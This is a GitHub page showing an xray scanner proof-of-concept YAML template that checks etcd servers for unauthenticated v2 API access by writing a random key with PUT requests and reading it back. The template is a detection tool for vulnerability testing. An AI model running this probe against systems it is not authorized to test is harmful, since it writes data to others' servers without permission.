forked from chaitin/xray
-
Notifications
You must be signed in to change notification settings - Fork 0
/
etcd-unauth.yml
37 lines (37 loc) · 1.07 KB
/
etcd-unauth.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
name: poc-yaml-etcd-unauth
manual: true
transport: http
set:
r1: randomLowercase(32)
r2: randomLowercase(32)
r3: randomLowercase(32)
rules:
r0:
request:
cache: true
method: PUT
path: /v2/keys/{{r1}}?dir=true
follow_redirects: false
expression: response.status == 201
r1:
request:
cache: true
method: PUT
path: /v2/keys/{{r1}}/{{r2}}?prevExist=false
headers:
Content-Type: application/x-www-form-urlencoded
body: value={{r3}}
follow_redirects: false
expression: response.status == 201
r2:
request:
cache: true
method: GET
path: /v2/keys/{{r1}}/{{r2}}?quorum=false&recursive=false&sorted=false
follow_redirects: false
expression: response.status == 200 && response.body.bcontains(bytes(r3))
expression: r0() && r1() && r2()
detail:
author: j4ckzh0u(https://github.com/j4ckzh0u)
links:
- https://www.freebuf.com/news/196993.html